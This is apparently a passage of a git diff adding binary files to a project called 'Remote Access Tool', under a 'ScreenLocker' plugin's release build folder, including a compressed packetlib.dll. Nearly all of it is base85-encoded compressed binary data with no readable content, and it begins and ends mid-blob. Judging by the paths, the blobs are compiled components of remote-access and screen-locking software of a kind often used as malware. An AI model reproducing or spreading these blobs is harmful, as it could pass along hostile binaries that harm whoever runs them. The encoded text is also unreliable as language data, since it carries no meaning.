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 E0G8(1k^lez literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..e3d87839e89a1b66bee42c3ca56b785a4d55fe6f GIT binary patch literal 31379 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 